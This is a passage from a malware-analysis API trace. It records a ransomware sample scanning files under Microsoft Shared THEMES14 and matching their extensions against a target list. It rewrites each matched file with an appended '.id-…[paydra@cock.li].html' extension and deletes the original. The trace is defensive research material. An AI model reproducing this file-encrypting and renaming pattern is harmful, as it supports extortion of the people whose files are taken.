returned -1 [0044.500] lstrlenW (lpString=".7z") returned 3 [0044.500] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.500] lstrlenW (lpString=".dbf") returned 4 [0044.500] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.500] lstrlenW (lpString=".1cd") returned 4 [0044.500] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.500] lstrlenW (lpString=".jpg") returned 4 [0044.500] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.501] lstrlenW (lpString=".doc") returned 4 [0044.501] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.501] lstrlenW (lpString=".docx") returned 5 [0044.501] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.501] lstrlenW (lpString=".pdf") returned 4 [0044.501] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.501] lstrlenW (lpString=".xls") returned 4 [0044.501] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.501] lstrlenW (lpString=".xlsx") returned 5 [0044.501] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.501] lstrlenW (lpString=".ppt") returned 4 [0044.501] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.501] lstrlenW (lpString=".zip") returned 4 [0044.501] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.501] lstrlenW (lpString=".rar") returned 4 [0044.501] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.501] lstrlenW (lpString=".bz2") returned 4 [0044.501] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.501] lstrlenW (lpString=".7z") returned 3 [0044.501] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.501] lstrlenW (lpString=".dbf") returned 4 [0044.501] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.501] lstrlenW (lpString=".1cd") returned 4 [0044.501] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.501] lstrlenW (lpString=".jpg") returned 4 [0044.501] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.502] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.502] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0044.502] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=33009) returned 1 [0044.502] CloseHandle (hObject=0x20c) returned 1 [0044.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0044.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0044.502] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.502] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0044.503] GetLastError () returned 0x0 [0044.503] ReadFile (in: hFile=0x20c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x80f1, lpOverlapped=0x0) returned 1 [0044.795] WriteFile (in: hFile=0x180, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x8100, lpOverlapped=0x0) returned 1 [0044.797] ReadFile (in: hFile=0x20c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.797] WriteFile (in: hFile=0x180, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.797] SetEndOfFile (hFile=0x180) returned 1 [0044.797] CloseHandle (hObject=0x180) returned 1 [0044.797] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.797] SetEndOfFile (hFile=0x20c) returned 1 [0044.798] CloseHandle (hObject=0x20c) returned 1 [0044.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.798] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0044.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.799] lstrlenW (lpString=".doc") returned 4 [0044.799] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.799] lstrlenW (lpString=".docx") returned 5 [0044.799] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.799] lstrlenW (lpString=".pdf") returned 4 [0044.799] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.799] lstrlenW (lpString=".xls") returned 4 [0044.799] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.799] lstrlenW (lpString=".xlsx") returned 5 [0044.799] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.799] lstrlenW (lpString=".ppt") returned 4 [0044.799] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.799] lstrlenW (lpString=".zip") returned 4 [0044.799] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.799] lstrlenW (lpString=".rar") returned 4 [0044.799] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.799] lstrlenW (lpString=".bz2") returned 4 [0044.799] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.799] lstrlenW (lpString=".7z") returned 3 [0044.799] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.799] lstrlenW (lpString=".dbf") returned 4 [0044.799] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.799] lstrlenW (lpString=".1cd") returned 4 [0044.799] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.799] lstrlenW (lpString=".jpg") returned 4 [0044.799] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.800] lstrlenW (lpString=".doc") returned 4 [0044.800] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.800] lstrlenW (lpString=".docx") returned 5 [0044.800] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.800] lstrlenW (lpString=".pdf") returned 4 [0044.800] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.800] lstrlenW (lpString=".xls") returned 4 [0044.800] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.800] lstrlenW (lpString=".xlsx") returned 5 [0044.800] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.800] lstrlenW (lpString=".ppt") returned 4 [0044.800] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.800] lstrlenW (lpString=".zip") returned 4 [0044.800] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.800] lstrlenW (lpString=".rar") returned 4 [0044.800] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.800] lstrlenW (lpString=".bz2") returned 4 [0044.800] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.800] lstrlenW (lpString=".7z") returned 3 [0044.800] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.800] lstrlenW (lpString=".dbf") returned 4 [0044.800] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.800] lstrlenW (lpString=".1cd") returned 4 [0044.800] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0044.800] lstrlenW (lpString=".jpg") returned 4 [0044.800] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.801] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.801] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.246] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2044) returned 1 [0045.246] CloseHandle (hObject=0x210) returned 1 [0045.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0045.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.246] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.246] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.659] GetLastError () returned 0x0 [0045.659] ReadFile (in: hFile=0x210, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x7fc, lpOverlapped=0x0) returned 1 [0045.662] WriteFile (in: hFile=0x198, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x800, lpOverlapped=0x0) returned 1 [0045.663] ReadFile (in: hFile=0x210, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.663] WriteFile (in: hFile=0x198, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.663] SetEndOfFile (hFile=0x198) returned 1 [0045.663] CloseHandle (hObject=0x198) returned 1 [0045.664] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.664] SetEndOfFile (hFile=0x210) returned 1 [0045.664] CloseHandle (hObject=0x210) returned 1 [0045.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.665] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0045.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0045.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0045.665] lstrlenW (lpString=".doc") returned 4 [0045.665] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.665] lstrlenW (lpString=".docx") returned 5 [0045.665] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.665] lstrlenW (lpString=".pdf") returned 4 [0045.665] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.665] lstrlenW (lpString=".xls") returned 4 [0045.665] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.665] lstrlenW (lpString=".xlsx") returned 5 [0045.665] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.665] lstrlenW (lpString=".ppt") returned 4 [0045.665] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0045.665] lstrlenW (lpString=".zip") returned 4 [0045.665] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.666] lstrlenW (lpString=".rar") returned 4 [0045.666] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.666] lstrlenW (lpString=".bz2") returned 4 [0045.666] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.666] lstrlenW (lpString=".7z") returned 3 [0045.666] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0045.666] lstrlenW (lpString=".dbf") returned 4 [0045.666] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0045.666] lstrlenW (lpString=".1cd") returned 4 [0045.666] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0045.666] lstrlenW (lpString=".jpg") returned 4 [0045.666] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0045.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0045.666] lstrlenW (lpString=".doc") returned 4 [0045.666] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.666] lstrlenW (lpString=".docx") returned 5 [0045.666] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.666] lstrlenW (lpString=".pdf") returned 4 [0045.666] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.666] lstrlenW (lpString=".xls") returned 4 [0045.666] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.666] lstrlenW (lpString=".xlsx") returned 5 [0045.666] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.666] lstrlenW (lpString=".ppt") returned 4 [0045.666] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0045.666] lstrlenW (lpString=".zip") returned 4 [0045.666] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.667] lstrlenW (lpString=".rar") returned 4 [0045.667] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.667] lstrlenW (lpString=".bz2") returned 4 [0045.667] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.667] lstrlenW (lpString=".7z") returned 3 [0045.667] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0045.667] lstrlenW (lpString=".dbf") returned 4 [0045.667] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0045.667] lstrlenW (lpString=".1cd") returned 4 [0045.667] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0045.667] lstrlenW (lpString=".jpg") returned 4 [0045.667] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.667] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0045.667] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0045.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.671] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1354) returned 1 [0045.671] CloseHandle (hObject=0x210) returned 1 [0045.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0045.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.671] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.671] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.675] GetLastError () returned 0x0 [0045.675] ReadFile (in: hFile=0x210, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x54a, lpOverlapped=0x0) returned 1 [0045.679] WriteFile (in: hFile=0x198, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x550, lpOverlapped=0x0) returned 1 [0045.680] ReadFile (in: hFile=0x210, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.680] WriteFile (in: hFile=0x198, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.680] SetEndOfFile (hFile=0x198) returned 1 [0045.680] CloseHandle (hObject=0x198) returned 1 [0045.680] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.680] SetEndOfFile (hFile=0x210) returned 1 [0045.681] CloseHandle (hObject=0x210) returned 1 [0045.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.681] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0045.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0045.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0045.681] lstrlenW (lpString=".doc") returned 4 [0045.681] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.681] lstrlenW (lpString=".docx") returned 5 [0045.681] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.681] lstrlenW (lpString=".pdf") returned 4 [0045.681] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.681] lstrlenW (lpString=".xls") returned 4 [0045.681] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.681] lstrlenW (lpString=".xlsx") returned 5 [0045.681] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.682] lstrlenW (lpString=".ppt") returned 4 [0045.682] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0045.682] lstrlenW (lpString=".zip") returned 4 [0045.682] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.682] lstrlenW (lpString=".rar") returned 4 [0045.682] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.682] lstrlenW (lpString=".bz2") returned 4 [0045.682] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 